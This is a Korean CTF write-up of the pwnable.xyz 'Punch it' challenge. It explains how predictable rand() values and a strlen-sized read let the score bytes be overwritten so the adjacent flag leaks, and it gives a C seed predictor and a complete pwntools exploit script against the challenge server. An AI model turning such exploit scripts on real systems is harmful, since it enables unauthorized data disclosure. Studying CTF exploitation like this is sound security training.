pwn/pwnable.xyz
pwnable.xyz / Punch it
lok2h4rd
2022. 5. 22. 21:36


생성된 랜덤 값과 비교하는 게임이다
입력한 수가 더 클 경우 score가 1 증가한다
값이 같을 경우 저장 여부를 통해 이름을 변경할 수 있다
작을 경우 프로그램을 종료한다
값이 같을 경우 strlen을 통해 구한 이름 문자열 길이로 read하게 되는데 있때 score의 byte도 포함 될 수 있다
score를 0xff로 덮고 score 1 상승 시켜서 다음 byte에 값 넣는 방식으로 score에 있는 모든 바이트를 덮어 주면
score 뒤에 있는 flag문자열과 연결 되어 프로 그램이 종료되어 buf가 출력 될때 플래그도 딸려서 출력 된다
#include <stdio.h>
#include <stdlib.h>
int main(){
srand(0xf4);
for(int i = 0; i < 388; i++){
printf("%x\n", rand());
}
}
랜덤 값
from pwn import *
context.log_level = "debug"
def start_game():
name = b"A" * 44
p.recvuntil(b"[Y/n] : ")
p.sendline(b"Y")
p.recvuntil(b"Name: ")
p.send(name)
p.recvuntil(b"> ")
p.sendline(b"2")
def play(data):
p.recvuntil(b"pawa> ")
p.sendline(str(data))
def ovr_name(name):
p.recvuntil(b"Save? [N/y]")
p.send(b"y")
p.recvuntil(b"Name: ")
p.send(name)
def byte_check(arr):
if arr[0] == 0:
return 1
elif arr[0] == 1:
return 2
num = 0
for i in range(8):
num += arr[i]
if num == 16:
return 0
else:
return 1
def generate_pay(arr):
payload = b"A" * 0x2c
num = 0
for i in range(8):
if arr[i] == 1:
num += 1
arr[i] = 2
else:
break
payload += b"\xff" * num
return payload
ran_arr = []
r = process("./randnum")
for i in range(388):
ran_arr.append(int(r.recvline(), 16))
r.close()
check_arr = [0, 0, 0, 0, 0, 0, 0, 0]
i = 0
while True:
i = 0
p = remote("svc.pwnable.xyz", 30024)
#p = process("./punch_it")
start_game()
play(ran_arr[0])
line = p.recv(1)
if b"d" not in line:
p.close()
continue
else:
payload = b"A" * 0x2c
ovr_name(payload)
while True:
i += 1
check = byte_check(check_arr)
print("before act" + str(check_arr))
if check == 1:
print(f"{i} add score")
play(-1)
for j in range(8):
if check_arr[j] == 0:
check_arr[j] = 1
break
elif check_arr[j] == 2:
check_arr[j] = 0
elif check == 2:
print(f"{i} over write score to 0xff")
pay = generate_pay(check_arr)
play(ran_arr[i])
ovr_name(pay)
else:
break
print("after act" + str(check_arr))
break
p.recvuntil(b"pawa> ")
p.sendline(b"abcd")
p.interactive()